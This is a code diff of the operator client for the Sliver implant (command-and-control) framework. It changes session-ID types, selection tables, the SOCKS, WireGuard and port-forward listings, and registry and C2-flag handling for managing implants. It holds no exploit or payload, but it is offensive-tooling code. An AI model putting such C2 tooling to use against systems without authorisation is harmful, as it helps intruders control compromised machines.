Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if deleteKey.Response != nil && deleteKey.Response.Async {
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDeleteKey(deleteKey, finalPath, key, con)
})
con.PrintAsyncResponse(deleteKey.Response)
} else {
PrintDeleteKey(deleteKey, finalPath, key, con)
}
}
// PrintDeleteKey - Print the results of the delete key command
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
con.PrintErrorf("%s", deleteKey.Response.Err)
return
}
con.PrintInfof("Key removed at %s\\%s", regPath, key)
}
-50
View File
@@ -1,50 +0,0 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CloseSessionCmd - Close an interactive session but do not kill the remote process
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Get the active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintErrorf("No active session\n")
return
}
// Close the session
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
con.ActiveTarget.Set(nil, nil)
}
+7 -7
View File
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
return nil, ErrNoSessions
}
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var keys []int
for _, session := range sessions.Sessions {
keys = append(keys, session.ID)
keys = append(keys, int(session.ID))
}
sort.Strings(keys) // Fucking Go can't sort int32's, so we convert to/from int's
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
session := sessionsMap[key]
session := sessionsMap[uint32(key)]
if onlyAlive && session.IsDead {
continue
}
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return sessionsMap[keys[index]], nil
return sessionsMap[uint32(keys[index])], nil
}
}
return nil, ErrNoSelection
+2 -56
View File
@@ -20,7 +20,6 @@ package sessions
import (
"context"
"net/url"
"time"
"github.com/bishopfox/sliver/client/command/generate"
@@ -43,7 +42,6 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
// Parse C2 Flags
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
@@ -88,61 +86,9 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
c2s = append(c2s, tcpPivotC2...)
// No flags, parse the current beacon's ActiveC2 instead
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
c2url, err := url.Parse(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
switch c2url.Scheme {
case "mtls":
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, mtlsC2...)
case "wg":
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, wgC2...)
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, httpC2...)
case "dns":
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, dnsC2...)
case "namedpipe":
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, namedPipeC2...)
case "tcppivot":
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, tcpPivotC2...)
default:
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
return
}
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return
}
openSession := &sliverpb.OpenSession{
+1 -1
View File
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session %s ... ", session.ID)
con.Printf("Pruning session #%d ...", session.ID)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
+7 -13
View File
@@ -21,7 +21,6 @@ package sessions
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
@@ -91,12 +90,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.GetSession(interact)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
@@ -109,7 +108,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
@@ -123,9 +122,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
"Last Check-in",
"Health",
})
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
for _, session := range sessions {
color := console.Normal
@@ -143,7 +139,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
@@ -154,11 +150,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
burned + SessionHealth,
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
con.Printf("%s\n", tw.Render())
}
// ShortSessionID - Shorten the session ID
func ShortSessionID(id string) string {
return strings.Split(id, "-")[0]
}
@@ -31,8 +31,8 @@ import (
"gopkg.in/AlecAivazis/survey.v1"
)
// SocksStartCmd - Add a new tunneled port forward
func SocksStartCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// SocksAddCmd - Add a new tunneled port forward
func SocksAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
@@ -27,8 +27,8 @@ import (
"github.com/desertbit/grumble"
)
// SocksStopCmd - Remove an existing tunneled port forward
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// SocksRmCmd - Remove an existing tunneled port forward
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksID := ctx.Flags.Int("id")
if socksID < 1 {
con.PrintErrorf("Must specify a valid socks5 id\n")
-15
View File
@@ -559,21 +559,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
}
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
case sliverpb.MsgRegistryDeleteKeyReq:
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
err := proto.Unmarshal(task.Request, deleteKeyReq)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
deleteKey := &sliverpb.RegistryDeleteKey{}
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
case sliverpb.MsgRegistryListValuesReq:
listValuesReq := &sliverpb.RegistryListValuesReq{}
err := proto.Unmarshal(task.Request, listValuesReq)
+1 -1
View File
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, err := sessions.SelectSession(false, con)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if err != nil {
switch err {
case sessions.ErrNoSessions:
+17 -19
View File
@@ -24,6 +24,7 @@ import (
"errors"
"fmt"
"sort"
"strconv"
"strings"
"text/tabwriter"
@@ -55,7 +56,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
} else if beacon != nil {
con.ActiveTarget.Set(nil, beacon)
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
@@ -68,9 +69,10 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
if err != nil {
return nil, nil, err
}
idNumber, err := strconv.Atoi(id)
if err == nil {
for _, session := range sessions.Sessions {
if session.ID == id {
if session.ID == uint32(idNumber) {
return session, nil, nil
}
}
@@ -94,15 +96,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
if err != nil {
return nil, nil, err
}
sessionsMap := map[string]*clientpb.Session{}
sessionsMap := map[uint32]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
var sessionKeys []string
var sessionKeys []int
for _, session := range sessions.Sessions {
sessionKeys = append(sessionKeys, session.ID)
sessionKeys = append(sessionKeys, int(session.ID))
}
sort.Strings(sessionKeys)
sort.Ints(sessionKeys)
// Get and sort beacons
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
@@ -120,7 +122,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
sort.Strings(beaconKeys)
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
}
// Render selection table
@@ -128,10 +130,9 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, key := range sessionKeys {
session := sessionsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"SESSION",
strings.Split(session.ID, "-")[0],
session := sessionsMap[uint32(key)]
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
session.Hostname,
@@ -141,8 +142,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
}
for _, key := range beaconKeys {
beacon := beaconsMap[key]
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
"BEACON",
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
@@ -167,24 +167,22 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
for index, option := range options {
if option == selected {
if index < len(sessionKeys) {
return sessionsMap[sessionKeys[index]], nil, nil
return sessionsMap[uint32(sessionKeys[index])], nil, nil
}
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
}
}
return nil, nil, nil
}
// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids
func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.SliverConsoleClient) (results []string) {
func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return
}
for _, s := range sessions.Sessions {
sid := s.ID
sid := fmt.Sprintf("%d", s.ID)
if strings.HasPrefix(sid, prefix) {
results = append(results, s.ID)
results = append(results, fmt.Sprintf("%d", s.ID))
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
@@ -62,7 +62,7 @@ func WebsitesAddContentCmd(ctx *grumble.Context, con *console.SliverConsoleClien
con.PrintErrorf("%s", err)
return
}
PrintWebsite(web, con)
displayWebsite(web, con)
}
func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {
@@ -50,5 +50,5 @@ func WebsitesRmContent(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to remove content %s", err)
return
}
PrintWebsite(web, con)
displayWebsite(web, con)
}
@@ -39,5 +39,5 @@ func WebsitesUpdateContentCmd(ctx *grumble.Context, con *console.SliverConsoleCl
con.PrintErrorf("%s", err)
return
}
PrintWebsite(web, con)
displayWebsite(web, con)
}
+12 -18
View File
@@ -20,14 +20,14 @@ package websites
import (
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/desertbit/grumble"
)
@@ -75,23 +75,21 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) {
return
}
if 0 < len(website.Contents) {
PrintWebsite(website, con)
displayWebsite(website, con)
} else {
con.PrintInfof("No content for '%s'", websiteName)
}
}
// PrintWebsite - Print a website and its contents, paths, etc.
func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
con.Println(console.Clearln + console.Info + web.Name)
con.Println()
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Path",
"Content-type",
"Size",
})
table := tabwriter.NewWriter(con.App.Stdout(), 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
strings.Repeat("=", len("Path")),
strings.Repeat("=", len("Content-type")),
strings.Repeat("=", len("Size")))
sortedContents := []*clientpb.WebContent{}
for _, content := range web.Contents {
sortedContents = append(sortedContents, content)
@@ -100,11 +98,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
return sortedContents[i].Path < sortedContents[j].Path
})
for _, content := range sortedContents {
tw.AppendHeader(table.Row{
content.Path,
content.ContentType,
content.Size,
})
fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
}
con.Println(tw.Render())
table.Flush()
}
+4 -4
View File
@@ -50,7 +50,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
portfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
LocalPort: int32(localPort),
RemoteAddress: remoteAddr,
Request: con.ActiveTarget.Request(ctx),
@@ -61,9 +61,9 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if portfwdAdd.Response != nil && portfwdAdd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", portfwdAdd.Response.Err)
if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
con.PrintErrorf("Error: %s\n", pfwdAdd.Response.Err)
return
}
con.PrintInfof("Port forwarding %s -> %s:%s\n", portfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
con.PrintInfof("Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
}
+16 -16
View File
@@ -19,13 +19,15 @@ package wireguard
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// WGPortFwdListCmd - List WireGuard port forwards
@@ -42,10 +44,12 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if fwdList.Response != nil && fwdList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", fwdList.Response.Err)
return
@@ -55,22 +59,18 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if len(fwdList.Forwarders) == 0 {
con.PrintInfof("No port forwards\n")
} else {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Protocol",
"Port",
})
outBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Local Address")),
strings.Repeat("=", len("Remote Address")))
for _, fwd := range fwdList.Forwarders {
tw.AppendRow(table.Row{
fwd.ID,
fwd.LocalAddr,
fwd.RemoteAddr,
})
fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
}
con.Println(tw.Render())
table.Flush()
con.Println(outBuf.String())
}
}
}
+16 -14
View File
@@ -19,13 +19,15 @@ package wireguard
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// WGSocksListCmd - List WireGuard SOCKS proxies
@@ -42,30 +44,30 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if socksList.Response != nil && socksList.Response.Err != "" {
con.PrintErrorf("Error: %s\n", socksList.Response.Err)
return
}
if socksList.Servers != nil {
if 0 < len(socksList.Servers) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Local Address",
})
if len(socksList.Servers) > 0 {
outBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
fmt.Fprintf(table, "ID\tLocal Address\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("ID")),
strings.Repeat("=", len("Local Address")))
for _, server := range socksList.Servers {
tw.AppendRow(table.Row{
server.ID,
server.LocalAddr,
})
fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
}
con.Println(tw.Render())
table.Flush()
con.Println(outBuf.String())
}
}
+14 -18
View File
@@ -31,7 +31,6 @@ import (
"strconv"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
@@ -42,10 +41,13 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/protobuf/proto"
"time"
"github.com/desertbit/go-shlex"
"github.com/desertbit/grumble"
"github.com/fatih/color"
"google.golang.org/protobuf/proto"
)
const (
@@ -165,8 +167,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
}
case consts.WatchtowerEvent:
@@ -174,8 +175,7 @@ func (con *SliverConsoleClient) EventLoop() {
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
sessions := con.GetSessionsByName(event.Session.Name)
for _, session := range sessions {
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
}
case consts.JoinedEvent:
@@ -190,9 +190,8 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionOpenedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
@@ -205,15 +204,12 @@ func (con *SliverConsoleClient) EventLoop() {
case consts.SessionUpdateEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
case consts.SessionClosedEvent:
session := event.Session
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(session.ID, "-")[0]
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
activeSession := con.ActiveTarget.GetSession()
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
@@ -233,7 +229,7 @@ func (con *SliverConsoleClient) EventLoop() {
proto.Unmarshal(event.Data, beacon)
currentTime := time.Now().Format(time.RFC1123)
shortID := strings.Split(beacon.ID, "-")[0]
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
case consts.BeaconTaskResultEvent:
@@ -299,7 +295,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
// If the callback is not in our map then we don't do anything, the beacon task
// was either issued by another operator in multiplayer mode or the client process
// was restarted between the time the task was created and when the server got the result
// was restarted between the time the task was created and the server go the result
con.BeaconTaskCallbacksMutex.Lock()
defer con.BeaconTaskCallbacksMutex.Unlock()
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
@@ -410,7 +406,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
return nil
}
for _, session := range sessions.GetSessions() {
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
return session
}
}
+19 -25
View File
@@ -97,23 +97,22 @@ const (
KickOperatorStr = "kick-operator"
MultiplayerModeStr = "multiplayer"
SessionsStr = "sessions"
BackgroundStr = "background"
InfoStr = "info"
UseStr = "use"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerInfoStr = "info"
StagerStr = "stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
WatchStr = "watch"
SettingsStr = "settings"
SearchStr = "search"
SessionsStr = "sessions"
BackgroundStr = "background"
InfoStr = "info"
UseStr = "use"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
GenerateStr = "generate"
RegenerateStr = "regenerate"
CompilerStr = "info"
StagerStr = "stager"
ProfilesStr = "profiles"
BeaconStr = "beacon"
BeaconsStr = "beacons"
WatchStr = "watch"
SettingsStr = "settings"
// Generic
@@ -188,11 +187,8 @@ const (
MigrateStr = "migrate"
SideloadStr = "sideload"
SpawnDllStr = "spawndll"
ExtensionsStr = "extensions"
InstallStr = "install"
ListStr = "list"
ArmoryStr = "armory"
AliasesStr = "aliases"
ExtensionStr = "extension"
LoadMacroStr = "load-macro"
StageListenerStr = "stage-listener"
WebsitesStr = "websites"
@@ -211,7 +207,6 @@ const (
RegistryListSubStr = "list-subkeys"
RegistryListValuesStr = "list-values"
RegistryCreateKeyStr = "create"
RegistryDeleteKeyStr = "delete"
PivotsStr = "pivots"
WgConfigStr = "wg-config"
WgSocksStr = "wg-socks"
@@ -220,7 +215,6 @@ const (
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
CloseStr = "close"
PortfwdStr = "portfwd"
Socks5Str = "socks5"
@@ -243,6 +237,6 @@ const (
SliverHelpGroup = "Sliver:"
SliverWinHelpGroup = "Sliver - Windows:"
MultiplayerHelpGroup = "Multiplayer:"
AliasHelpGroup = "Sliver - 3rd Party macros:"
MacroHelpGroup = "Sliver - 3rd Party macros:"
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
)
-18
View File
@@ -1,23 +1,5 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"encoding/binary"
+2 -2
View File
@@ -29,7 +29,7 @@ var (
// PortfwdMeta - Metadata about a portfwd listener
type PortfwdMeta struct {
ID int
SessionID string
SessionID uint32
BindAddr string
RemoteAddr string
}
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
log.Printf("[tcpproxy] Failed to dial implant %s", err)
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
+7 -6
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"time"
@@ -31,6 +30,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/util/leaky"
)
@@ -43,11 +43,12 @@ var (
SocksConnPool = sync.Map{}
SocksProxyID = 0
)
var coreLog = log.NamedLogger("ClientCore", "sessions")
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
SessionID string
SessionID uint32
BindAddr string
Username string
Password string
@@ -120,7 +121,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
SocksConnPool.Delete(p.TunnelID)
continue
}
